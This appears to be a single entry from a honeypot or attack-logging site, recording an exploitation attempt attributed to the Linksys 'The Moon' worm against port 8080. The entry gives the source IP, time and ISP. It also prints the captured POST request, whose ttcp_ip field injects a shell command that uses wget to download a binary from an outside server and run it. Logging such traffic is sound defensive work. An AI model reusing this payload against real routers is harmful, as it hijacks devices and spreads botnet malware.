This website uses cookies to improve user experience. By using this website you consent to all cookies in accordance with our terms.

Dismiss
Click here for some search hints
1-1 of 1 results (1 page)

Linksys "The Moon" Worm

[Attack info]
Attacker: 61.79.81.114
Dest. port: 8080
Time: 29/09/2020 18:01:36
Resource(s):
Request: permalink
[Extra info]
ASN/ISP: AS4766 Korea Telecom
Location: Seoul, Jungnang-gu (zipcode 02099)
POST /tmUnblock.cgi HTTP/1.1 Content-Length: 227 accept-encoding: gzip, deflate connection: keep-alive Accept: / User-Agent: python-requests/2.20.0 Host: 127.0.0.1:80 Content-Type: application/x-www-form-urlencoded ttcp_ip=-h+%60cd+%2Ftmp%3B+rm+-rf+Astra.mpsl%3B+wget+http%3A%2F%2F107.175.87.103%2Fbins%2FAstra.mpsl%3B+chmod+777+Astra.mpsl%3B+.%2FAstra.mpsl+linksys%60&action=&ttcp_num=2&ttcp_size=2&submit_button=&change_action=&commit=0&Sta